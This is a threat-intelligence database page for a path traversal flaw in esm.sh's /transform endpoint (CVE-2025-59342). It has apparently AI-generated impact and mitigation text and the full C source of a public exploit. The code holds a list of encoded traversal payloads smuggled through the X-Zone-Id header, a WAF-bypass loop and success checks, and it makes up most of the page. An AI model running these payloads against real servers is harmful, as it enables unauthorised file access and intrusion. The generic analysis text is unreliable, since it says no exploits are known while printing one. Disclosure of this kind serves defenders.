esm-dev 136 - Path Traversal
esm-dev 136 - Path Traversal
AI Analysis
Technical Summary
The esm-dev 136 vulnerability is a path traversal exploit identified in a web application context, allowing attackers to manipulate file path inputs to access files outside the intended directory structure. Path traversal vulnerabilities typically arise when user-supplied input is not properly sanitized, enabling attackers to traverse directories using sequences like '../' to reach sensitive files such as configuration files, password stores, or source code. The exploit code is written in C, indicating a low-level approach to demonstrating or exploiting the vulnerability, possibly targeting native components or modules within the web application stack. No specific affected versions are provided, which suggests the vulnerability may be present in multiple or unspecified versions of esm-dev or related software. The absence of known exploits in the wild and patches indicates this is a newly disclosed or proof-of-concept exploit. The medium severity rating reflects the potential impact on confidentiality and integrity, as unauthorized file access can lead to information disclosure or further exploitation, but it may require some level of access or specific conditions to exploit effectively. The lack of authentication requirements or user interaction details implies the vulnerability could be exploited remotely if the application exposes the vulnerable functionality. European organizations using esm-dev or similar web frameworks should assess their exposure, especially if they rely on web applications that handle file paths dynamically. The exploit's presence in C suggests that mitigation should consider both application-level input validation and underlying system-level protections. Overall, this vulnerability underscores the importance of robust input validation and secure coding practices in web development.
Potential Impact
For European organizations, the esm-dev 136 path traversal vulnerability poses a risk primarily to the confidentiality and integrity of sensitive data. Exploitation could allow attackers to access configuration files, credentials, or proprietary information stored on web servers, potentially leading to data breaches or enabling further attacks such as privilege escalation or lateral movement within networks. The impact is heightened for organizations with web-facing applications that process file paths dynamically without adequate sanitization. Sectors such as finance, healthcare, and government, which handle sensitive personal and operational data, could face regulatory and reputational damage if exploited. Additionally, the lack of authentication requirements means attackers could potentially exploit this vulnerability remotely, increasing the attack surface. However, the absence of known active exploits and patches suggests the threat is currently theoretical but should be addressed proactively to prevent future incidents. The medium severity rating indicates a moderate level of risk, but the potential for cascading effects means organizations should not underestimate the threat.
Mitigation Recommendations
To mitigate the esm-dev 136 path traversal vulnerability, European organizations should implement strict input validation and sanitization for all file path parameters, ensuring that user input cannot include directory traversal sequences such as '../'. Employing whitelisting approaches for allowed file names and directories can further reduce risk. Web application firewalls (WAFs) should be configured with custom rules to detect and block path traversal attempts. Regular code reviews and security testing, including static and dynamic analysis focused on file handling functions, are essential to identify and remediate similar vulnerabilities. Organizations should monitor security advisories for patches or updates related to esm-dev and apply them promptly once available. Additionally, minimizing the privileges of web server processes and isolating sensitive files can limit the impact of successful exploitation. Logging and monitoring access to critical files can help detect exploitation attempts early. Finally, educating developers about secure coding practices related to file system access is crucial to prevent recurrence.
Affected Countries
Germany, France, United Kingdom, Netherlands, Italy, Spain
Indicators of Compromise
- exploit-code: # Exploit Title: esm-dev 136 - Path Traversal # Date: 2025-07-11 # Exploit Author: Byte Reaper #Vendor Homepage: https://github.com/esm-dev/esm.sh # Software Link: https://github.com/esm-dev/esm.sh # CVE-2025-59342 - File : exploit.c - Date : 09/17/2025 - Target : esm-dev - Version: 136 - Target Endpoint : /transform - Target Header : X-Zone-Id - Vuln : - Run exploit : # gcc exploit.c argparse.c -o CVE-2025-59342 -lcurl # ./CVE-2025-59342 #include <curl/curl.h> #include <string.h> #include <stdlib.h> #include "argparse.h" #include <time.h> #include <unistd.h> #include <sys/utsname.h> #define FULL_URL 2500 #define P_Y 2000 #define POST_DATA 9000 int flagPort = 0; int port = 80; int selectPort = -1; int verbose = 0; int code = 1; int found = 1; int cF = 0; int s = 0; int bY = 0; int sP = 0; const char* cookies = NULL; const char* payload = NULL; void exit64bit() { int n = 0; __asm__ volatile ( "mov $0x4A, %%rax\n\t" "mov $0x1, %%rdi\n\t" "syscall\n\t" "test %%rax, %%rax\n\t" "jz .aD\n\t" "mov $0x0, %[var]\n\t" "jmp .finish\n\t" ".aD:\n\t" "mov $0x1, %[var]\n\t" ".finish:\n\t" : [var] "+r" (n) : : "rax", "rdi" ); if (n == 0) { printf("\e[0;31m[-] sys_fsync syscall Faild.\n"); fflush(stdout); } else if (n == 1) { printf("[+] sys_fsync syscall Success.\n"); } __asm__ volatile ( "mov $0x0, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "syscall\n\t" : : : "rax", "rdi" ); } struct Mem { char* buffer; size_t len; }; size_t write_cb(void* ptr, size_t size, size_t nmemb, void* userdata) { size_t total = size * nmemb; struct Mem* m = (struct Mem*)userdata; char* tmp = realloc(m->buffer, m->len + total + 1); if (!tmp) return 0; m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } int checkLen(int len, char* buf, size_t bufcap) { if (len < 0 || (size_t)len >= bufcap) { printf("\e[0;31m[-] Len is Long ! \e[0m\n"); printf("\e[0;31m[-] Len %d\e[0m\n", len); return 1; } else { printf("\e[0;34m[+] Len Is Not Long.\e[0m\n"); return 0; } return 0; } const char* payloads[] = { "..//..//modules//transform//c245626ef6ca0fd9ee37759c5fac606c6ec99daa//", "..../..../m.o.d.u.les/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/", "..\\/..\\/modules\\/transform\\/c245626ef6ca0fd9ee37759c5fac606c6ec99daa\\/", ".//.//m?odu?le?s/tran.sfo.rm/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/", "..%252f%252f..%252f%252fmodules%252f%252ftransform%252f%252fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%252f", "%252e%252e%252f%252f%252e%252e%252f%252fmodules%252f%252ftransform%252f%252fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%252f", "..%2f%2f..modules%2f%2ftransform%2f%2fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%2f", "%2e%2e%2f%2f%2e%2emodules%2f%2ftransform%2f%2fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%2f", "..%255c%255c..%255c%255cmodules%255c%255ctransform%255c%255cc245626ef6ca0fd9ee37759c5fac606c6ec99daa%255c%255c", "%252e%252e%255c%255c%252e%252e%255c%255cmodules%255c%255ctransform%255c%255cc245626ef6ca0fd9ee37759c5fac606c6ec99daa%255c%255c", "%u002e%u002e%u2215%u2215%u002e%u002e%u2215%u2215modules%u002e%u002etransform%u002e%u002ec245626ef6ca0fd9ee37759c5fac606c6ec99daa%u002e", "%u002e%u002e%u2216%u2216%u002e%u002e%u2216%u2216modules%u2216%u2216transform%u2216%u2216c245626ef6ca0fd9ee37759c5fac606c6ec99daa%u2216", "%e0%40%ae%e0%40%ae%e0%80%af%e0%80%af%e0%40%ae%e0%40%ae%e0%80%af%e0%80%afmodules%e0%80%af%e0%80%aftransform%e0%80%af%e0%80%afc245626ef6ca0fd9ee37759c5fac606c6ec99daa%e0%80%af", ".%00.//.%00.//modules//transform//c245626ef6ca0fd9ee37759c5fac606c6ec99daa/", "..;//..;//modules//transform//c245626ef6ca0fd9ee37759c5fac606c6ec99daa/", "%c0%2e%c0%2e%c0%af%c0%af%c0%2e%c0%2e%c0%af%c0%afmodules%c0%af%c0%aftransform%c0%af%c0%afc245626ef6ca0fd9ee37759c5fac606c6ec99daa%c0%af", NULL }; static void request(const char *baseurl) { CURL* curl = curl_easy_init(); const char *mes3 = "\e[0;34m[+] Create Object CURL Success.\n"; const char *mes4 = "\e[0;31m[-] Error Create Object CURL !\e[0m\n"; size_t len3 = strlen(mes3); size_t len4 = strlen(mes4); __asm__ volatile ( "cmp $0x0, %[curlO]\n\t" "je .donV\n\t" ".erD:\n\t" "mov $0x1, %%rax\n\t" "mov $0x1, %%rdi\n\t" "mov %[msg], %%rsi\n\t" "mov %[len], %%rdx\n\t" "syscall\n\t" "jmp .finishC\n\t" ".donV:\n\t" "mov $0x1, %%rax\n\t" "mov $0x1, %%rdi\n\t" "mov %[msg1], %%rsi\n\t" "mov %[len1], %%rdx\n\t" "syscall\n\t" "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "syscall\n\t" ".finishC:\n\t" : : [curlO] "r" (curl), [msg] "r" ((const char *)mes3), [len] "r" ((long)len3), [msg1] "r" ((const char*)mes4), [len1] "r" ((long)len4) : "rax", "rdi", "rsi", "rdx", "rcx", "r11", "memory" ); struct Mem response; CURLcode res; response.buffer = NULL; response.len = 0; const char* mes5 = "\e[0;34m[+] Buffer Clean Success.\e[0m\n"; size_t len5 = strlen(mes5); __asm__ volatile ( "test %[buffer], %[buffer]\n\t" "jz L_print_clean\n\t" "L_continue:\n\t" "jmp L_done\n\t" "L_print_clean:\n\t" "mov $0x1, %%rax\n\t" "mov $0x1, %%rdi\n\t" "movq %[msg13], %%rsi\n\t" "mov %[len13], %%rdx\n\t" "syscall\n\t" "L_done:\n\t" : : [buffer] "r" ((const char*)response.buffer), [msg13] "r" (mes5), [len13] "r" (len5) : "rax", "rdi", "rsi", "rdx", "rcx", "r11", "memory" ); char full[FULL_URL]; if (flagPort != 0) { const char* mes8 = "\e[0;31m[-] Select Port is NULL !\e[0m\n"; size_t len8 = strlen(mes8); __asm__ volatile ( "test %[var22], %[var22]\n\t" "jnz L_finish\n\t" "mov $1, %%rax\n\t" "mov $1, %%rdi\n\t" "mov %[msg13], %%rsi\n\t" "mov %[len13], %%rdx\n\t" "syscall\n\t" "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "syscall\n\t" "L_finish:\n\t" : : [var22] "r" (selectPort), [msg13] "r" (mes8), [len13] "r" (len8) : "rax", "rdi", "rsi", "rdx", "rcx", "r11", "memory" ); printf("\e[0;34m[+] Port Select : %d\e[0m\n", selectPort); int len1 = snprintf(full, FULL_URL, "%s:%d/transform", baseurl,selectPort); if (checkLen(len1, full, FULL_URL) == 1) { fprintf(stderr, "\e[0;31m[-] Error write base url !\e[0m\n"); exit64bit(); } printf("\e[0;34m[+] Write base URL success.\e[0m\n"); } else if (flagPort == 0) { printf("\e[0;34m[+] Auto port : %d\e[0m\n", port); int len2 = snprintf(full, FULL_URL, "%s:%d/transform", baseurl, port); if (checkLen(len2, full, FULL_URL) == 1) { fprintf(stderr, "\e[0;31m[-] Error write base url !\e[0m\n"); exit64bit(); } printf("\e[0;34m[+] Write base URL success.\e[0m\n"); } printf("[+] Base URL : %s\n", baseurl); printf("[+] Result full url : %s\n", full); char post[POST_DATA]; int len9 = snprintf(post, POST_DATA, "{\"filename\":\"cve.js\",\"lang\":\"js\",\"code\":\"console.log('Exploit!');\",\"importMap\":{\"imports\":{\"react\":\"https://esm.sh/react\",\"react-dom\":\"https://esm.sh/react-dom\"}},\"jsxImportSource\":\"react\",\"target\":\"es2022\",\"sourceMap\":\"external\",\"minify\":true}"); if (checkLen(len9, post, POST_DATA) == 1) { fprintf(stderr, "[-] Error write post data !\e[0m\n"); exit64bit(); } printf("\e[0;34m[+] Write Post data Success.\e[0m\n"); printf("\e[0;35m[+] Post data :===================================\e[0m\n"); printf("%s\n", post); printf("\e[0;32m[+] Size : %d\e[0m\n", POST_DATA); printf("\e[0;32m[+] Len : %zu\e[0m\n", strlen(post)); printf("\e[0;35m==================================================\e[0m\n"); curl_easy_setopt(curl, CURLOPT_URL, full); curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); if (cF) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_POST, 1L); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(post)); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); struct timespec rqtp, rmtp; rqtp.tv_sec = 1; rqtp.tv_nsec = 500000000; register long r10R asm("r10"); r10R = 0; printf("\e[0;33m[+] Sleep (%ld seconds) && (%ld nanoseconds)...\e[0m\n", rqtp.tv_sec, rqtp.tv_nsec); int ret; __asm__ volatile ( "syscall" : "=a"(ret) : "a"(0xE6), "D"((long)0), "S"((long)0), "d"(&rqtp), "r"(r10R) : "rcx", "r11", "memory" ); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); struct curl_slist* headers = NULL; headers = curl_slist_append(headers, "User-Agent: Den/8.7.1"); headers = curl_slist_append(headers, "Accept: */*"); headers = curl_slist_append(headers, "Connection: keep-alive"); headers = curl_slist_append(headers, "Content-Type: application/json"); headers = curl_slist_append(headers, "Referer: http://localhost:9999/"); if (s!=0) { printf("[+] Your Payload : %s\n", payload); printf("\e[0;33m[+] Checking payload...\n"); if (strstr(payload, "../") || strstr(payload, "..\\")) { printf("\e[0;36m[+] Detected path traversal \"../\" in payload.\n"); } else { printf("\e[0;31m[-] No path traversal detected. Please provide a valid payload.\n"); exit64bit(); } if (strstr(payload, "/transform")) { printf("\e[0;36m[+] Detected endpoint '/transform' in payload.\n"); } else { printf("\e[0;31m[-] Endpoint '/transform' not detected in payload!\n"); exit64bit();; } } else { headers = curl_slist_append(headers, "X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/"); //auto payload printf("[+] Auto payload ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/.\n"); } curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); if (verbose) { curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } res = curl_easy_perform(curl); curl_slist_free_all(headers); if (res == CURLE_OK) { printf("\e[1;36m[+] Request sent successfully\e[0m\n"); long httpcode; double timeT; double timeR; char* urlD = NULL; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpcode); curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &timeT); curl_easy_getinfo(curl, CURLINFO_REDIRECT_TIME, &timeR); curl_easy_getinfo(curl, CURLINFO_REDIRECT_URL, &urlD); printf("\e[0;32m[+] Delayed response : %f\e[0m\n", timeT); printf("\e[0;34m[+] TIME REDIRECT: %.1f\e[0m\n", timeR); if (urlD == NULL) { printf("\e[0;36m[+] Not REDIRECT Found.\e[0m\n"); } else { printf("\e[0;34m[+] REDIRECT To : %s\e[0m\n", urlD); } printf("\e[0;32m[+] HTTP CODE : %ld\n", httpcode); if (response.buffer != NULL) { printf("\e[0;35m=============================================== [RESPONSE] ===============================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[0;32m[+] Size Pointer response : %d\e[0m\n", sizeof(response.buffer)); printf("\e[0;32m[+] Len : %zu\e[0m\n", response.len); printf("\e[0;35m==========================================================================================================\e[0m\n"); } else { printf("\e[0;31m[-] Error show buffer : NULL response !\n"); __asm__ volatile ( "mov $0x0, %%rdi\n\t" "mov $0xE7, %%rax\n\t" "syscall\n\t" : : :"rax", "rdi" ); } printf("===========================================================================================================\n"); if (httpcode >= 200 && httpcode < 300) { const char* words[] = { "Exploit!", "cve.js", "mjs", "console", "code", "map", "AAAA", "IAAI", "names", NULL }; printf("\e[0;32m[+] Http code (200 - 300)\e[0m\n"); printf("\e[0;33m[+] Check Word in response...\e[0m\n"); for (int u = 0; words[u] != NULL; u++) { code = 1; if (strstr(response.buffer, words[u]) != NULL) { printf("[+] Word found in response : %s\n", words[u]); __asm__ volatile ( "mov $0x0, %[var12]\n\t" : [var12] "=r" (found) : : ); break; } } if (found == 0) { printf("\e[0;36m[+] Words were found in the server's response, indicating that the exploitation was likely successful.\e[0m\n"); } const char *mes11 = "\e[0;31m[-] Not found words in response !\e[0m\n"; size_t len11 = strlen(mes11); __asm__ volatile ( "test %[var11], %[var11]\n" "jnz notZero\n\t" "jmp finish11\n\t" "notZero:\n\t" "mov $0x1, %%rax\n\t" "mov $0x1, %%rdi\n\t" "movq %[size11], %%rsi\n\t" "mov %[len11], %%rdx\n\t" "syscall\n\t" "finish11:\n\t" : : [var11] "r" ((int)found), [size11] "r" ((const char *)mes11), [len11] "r" (len11) :"rax", "rdi", "rsi", "rdx", "r11", "rcx", "memory" ); } else { printf("\e[0;31m[-] Http code Not range (200 - 300)\e[0m\n"); printf("\e[0;31m[-] Please check url and port.\e[0m\n"); } printf("\e[0;35m[+] Result Exploit :\e[0m\n"); if (code == 1 && found == 0) { printf("\e[0;36m[+] HTTP code positive and expected word found: Exploit succeeded (CVE-2025-59342).\e[0m\n"); } else if (code == 1 && found != 0) { printf("\e[0;36m[+] HTTP code positive but expected word not found: Partial success (CVE-2025-59342).\e[0m\n"); } else if (code != 1 && found == 0) { printf("\e[0;31m[-] HTTP code negative but word found: Unexpected result (CVE-2025-59342).\e[0m\n"); } else { printf("\e[0;31m[-] Exploitation did not succeed.\e[0m\n"); } } else { printf("\e[0;31m[-] Error Send Request !\e[0m\n"); printf("\e[0;31m[-] Error : %s\n", curl_easy_strerror(res)); exit64bit(); } curl_easy_cleanup(curl); free(response.buffer); } void bypass(const char* urlB) { struct Mem responseBypass; responseBypass.buffer = NULL; responseBypass.len = 0; const char* mes14 = "\e[0;34m[+] Buffer Clean Success.\e[0m\n"; size_t len14 = strlen(mes14); __asm__ volatile ( "test %[buffer1], %[buffer1]\n\t" "jz L_print_clean1\n\t" "L_continue1:\n\t" "jmp L_done1\n\t" "L_print_clean1:\n\t" "mov $0x1, %%rax\n\t" "mov $0x1, %%rdi\n\t" "movq %[msg14], %%rsi\n\t" "mov %[len14], %%rdx\n\t" "syscall\n\t" "L_done1:\n\t" : : [buffer1] "r" ((const char*)responseBypass.buffer), [msg14] "r" (mes14), [len14] "r" (len14) : "rax", "rdi", "rsi", "rdx", "rcx", "r11", "memory" ); CURL* curl = curl_easy_init(); if (curl == NULL) { fprintf(stderr,"[-] Error Create Object CURL !\n"); exit64bit(); } CURLcode res1; char postData[POST_DATA]; int len15 = snprintf(postData, POST_DATA, "{\"filename\":\"cve.js\",\"lang\":\"js\",\"code\":\"console.log('Exploit!');\",\"importMap\":{\"imports\":{\"react\":\"https://esm.sh/react\",\"react-dom\":\"https://esm.sh/react-dom\"}},\"jsxImportSource\":\"react\",\"target\":\"es2022\",\"sourceMap\":\"external\",\"minify\":true}"); if (checkLen(len15, postData, POST_DATA) == 1) { fprintf(stderr, "[-] Error write post data !\e[0m\n"); exit64bit(); } if (curl) { for (int i = 0; payloads[i] != NULL; i++) { struct curl_slist* h = NULL; char fullURL[FULL_URL]; snprintf(fullURL, FULL_URL, "%s/transform", urlB); char hLine[1024]; snprintf(hLine, 1024, "X-Zone-Id: %s", payloads[i]); h = curl_slist_append(h, hLine); h = curl_slist_append(h, "User-Agent: Den/8.7.1"); h = curl_slist_append(h, "Content-Type: application/json"); curl_easy_setopt(curl, CURLOPT_URL, fullURL); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h); if (cF) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(postData)); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responseBypass); struct timespec rqtp, rmtp; rqtp.tv_sec = 1; rqtp.tv_nsec = 500000000; register long r10R asm("r10"); r10R = 0; printf("\e[0;33m[+] Sleep (%ld seconds) && (%ld nanoseconds)...\e[0m\n", rqtp.tv_sec, rqtp.tv_nsec); int ret; __asm__ volatile ( "syscall" : "=a"(ret) : "a"(0xE6), "D"((long)0), "S"((long)0), "d"(&rqtp), "r"(r10R) : "rcx", "r11", "memory" ); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); res1 = curl_easy_perform(curl); curl_slist_free_all(h); if (res1 == CURLE_OK) { long httpC; printf("---------------------------------------------------------------------------------------------------\n"); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); printf("[+] Payload Test : %s\n", payloads[i]); curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpC); printf("[+] Http code : %ld\n", httpC); if (responseBypass.buffer != NULL) { printf("\e[0;35m=============================================== [RESPONSE] ===============================================\e[0m\n"); printf("%s\n", responseBypass.buffer); printf("\e[0;35m==========================================================================================================\e[0m\n"); if (httpC == 501 || strstr(responseBypass.buffer, "Unsupported method") != NULL) { printf("[-] Please check target URL, The server does not support the POST request.\n"); } else { __asm__ volatile("nop"); } } else { printf("[-] Response NULL !\n"); exit64bit(); } if (httpC >= 200 && httpC < 300) { if (code == 0) { printf("[+] Bypass Waf Success.\n"); } else { printf("[-] The server's response is still negative !\n"); } if (responseBypass.buffer != NULL) { printf("\e[0;35m=============================================== [RESPONSE] ===============================================\e[0m\n"); printf("%s\n", responseBypass.buffer); printf("%zu\n", responseBypass.len); printf("\e[0;35m==========================================================================================================\e[0m\n"); free(responseBypass.buffer); responseBypass.buffer = NULL; responseBypass.len = 0; } else { printf("[-] Response NULL (Bypass WAF) !\n"); exit64bit(); } } else { printf("[-] Http code Not 200-300 !\n"); printf("[+] Waf detect OR check input base url / port.\n"); } } } } else { printf("[-] Error Send Request !\n"); } curl_easy_cleanup(curl); } int main(int argc, const char** argv) { printf("\e[1;37m+-----------------------+\e[0m\n"); printf("\e[1;37m| Author : Byte Reaper |\e[0m\n"); printf("\e[1;37m| CVE : CVE-2025-59342 |\e[0m\n"); printf("\e[1;37m| Vuln : Path Traversal |\e[0m\n"); printf("\e[1;37m+-----------------------+\e[0m\n"); printf("\e[1;30m------------------------------------------------------------------------\e[0m\n"); printf("[+] Check Your os...\n"); struct utsname os; __asm__ volatile ( "mov %0, %%rdi\n\t" "mov $0x3F, %%rax\n\t" "syscall\n\t" : : "r"(&os) : "rax", "rdi" ); printf("\e[0;36m[+] System Name: %s\e[0m\n", os.sysname); printf("\e[0;36m[+] Machine : %s\e[0m\n", os.machine); if (strstr(os.sysname, "Linux") != NULL) { printf("\e[0;36m[+] Linux OS, Check Machine architecture...\e[0m\n"); } else { printf("[-] OS Not Linux 64 bit (%s),Exit...\e[0m\n", os.sysname); printf("[+] Please RUN exploit in linux.\n"); exit64bit(); } if (strstr(os.machine, "x86_64") != NULL) { printf("\e[0;36m[+] Machine architecture is 64 bit, run exploit...\e[0m\n"); } else { printf("[-] OS Not architecture 64 bit (%s), Exit...\e[0m\n", os.machine); exit64bit(); } const char* url = NULL; struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &url, "Enter Target URL."), OPT_INTEGER('p', "port", &selectPort, "Enter Target PORT."), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode."), OPT_STRING('c', "cookies", &cookies, "Enter File cookies."), OPT_STRING('k', "payload", &payload, "Enter Payload."), OPT_BOOLEAN('b', "bypass", &sP, "Arg Bypass WAF."), OPT_END() }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (!url) { printf("\e[0;31m[-] Please Enter Target IP OR URl !\e[0m\n"); printf("\e[0;31m[!] Exemple : ./CVE-2025-59342 -u http://TARGET\e[0m\n"); __asm__ volatile ( "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "1:\n\t" "syscall\n\t" : : : "rax", "rdi", "rsi" ); } if (verbose) { __asm__ volatile ( "add $0x1, %[var6]\n\t" : [var6] "+r" (verbose) : : ); } else { __asm__ volatile ( "mov $0x0, %[var7]\n\t" : [var7] "=r" (verbose) : : ); } flagPort = (selectPort != -1); if (payload != NULL) { s = 1; } else { s = 0; } if (sP) { bypass(url); } else { request(url); } printf("\e[0;36m[+] Finish Script.\n"); __asm__ volatile ("mov $0x3C, %%rax\n\t" "mov $0x0, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); }
esm-dev 136 - Path Traversal
Description
esm-dev 136 - Path Traversal
AI-Powered Analysis
Technical Analysis
The esm-dev 136 vulnerability is a path traversal exploit identified in a web application context, allowing attackers to manipulate file path inputs to access files outside the intended directory structure. Path traversal vulnerabilities typically arise when user-supplied input is not properly sanitized, enabling attackers to traverse directories using sequences like '../' to reach sensitive files such as configuration files, password stores, or source code. The exploit code is written in C, indicating a low-level approach to demonstrating or exploiting the vulnerability, possibly targeting native components or modules within the web application stack. No specific affected versions are provided, which suggests the vulnerability may be present in multiple or unspecified versions of esm-dev or related software. The absence of known exploits in the wild and patches indicates this is a newly disclosed or proof-of-concept exploit. The medium severity rating reflects the potential impact on confidentiality and integrity, as unauthorized file access can lead to information disclosure or further exploitation, but it may require some level of access or specific conditions to exploit effectively. The lack of authentication requirements or user interaction details implies the vulnerability could be exploited remotely if the application exposes the vulnerable functionality. European organizations using esm-dev or similar web frameworks should assess their exposure, especially if they rely on web applications that handle file paths dynamically. The exploit's presence in C suggests that mitigation should consider both application-level input validation and underlying system-level protections. Overall, this vulnerability underscores the importance of robust input validation and secure coding practices in web development.
Potential Impact
For European organizations, the esm-dev 136 path traversal vulnerability poses a risk primarily to the confidentiality and integrity of sensitive data. Exploitation could allow attackers to access configuration files, credentials, or proprietary information stored on web servers, potentially leading to data breaches or enabling further attacks such as privilege escalation or lateral movement within networks. The impact is heightened for organizations with web-facing applications that process file paths dynamically without adequate sanitization. Sectors such as finance, healthcare, and government, which handle sensitive personal and operational data, could face regulatory and reputational damage if exploited. Additionally, the lack of authentication requirements means attackers could potentially exploit this vulnerability remotely, increasing the attack surface. However, the absence of known active exploits and patches suggests the threat is currently theoretical but should be addressed proactively to prevent future incidents. The medium severity rating indicates a moderate level of risk, but the potential for cascading effects means organizations should not underestimate the threat.
Mitigation Recommendations
To mitigate the esm-dev 136 path traversal vulnerability, European organizations should implement strict input validation and sanitization for all file path parameters, ensuring that user input cannot include directory traversal sequences such as '../'. Employing whitelisting approaches for allowed file names and directories can further reduce risk. Web application firewalls (WAFs) should be configured with custom rules to detect and block path traversal attempts. Regular code reviews and security testing, including static and dynamic analysis focused on file handling functions, are essential to identify and remediate similar vulnerabilities. Organizations should monitor security advisories for patches or updates related to esm-dev and apply them promptly once available. Additionally, minimizing the privileges of web server processes and isolating sensitive files can limit the impact of successful exploitation. Logging and monitoring access to critical files can help detect exploitation attempts early. Finally, educating developers about secure coding practices related to file system access is crucial to prevent recurrence.
Affected Countries
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Technical Details
- Edb Id
- 52461
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for esm-dev 136 - Path Traversal
# Exploit Title: esm-dev 136 - Path Traversal # Date: 2025-07-11 # Exploit Author: Byte Reaper #Vendor Homepage: https://github.com/esm-dev/esm.sh # Software Link: https://github.com/esm-dev/esm.sh # CVE-2025-59342 - File : exploit.c - Date : 09/17/2025 - Target : esm-dev - Version: 136 - Target Endpoint : /transform - Target Header : X-Zone-Id - Vuln : - Run exploit : # gcc exploit.c argparse.c -o CVE-2025-59342 -lcurl # ./CVE-2025-59342 #include <cur... (28360 more characters)
Threat ID: 6941062315f8de78ec7f738b
Added to database: 12/16/2025, 7:11:31 AM
Last enriched: 12/16/2025, 7:12:14 AM
Last updated: 12/16/2025, 2:12:05 PM
Views: 9
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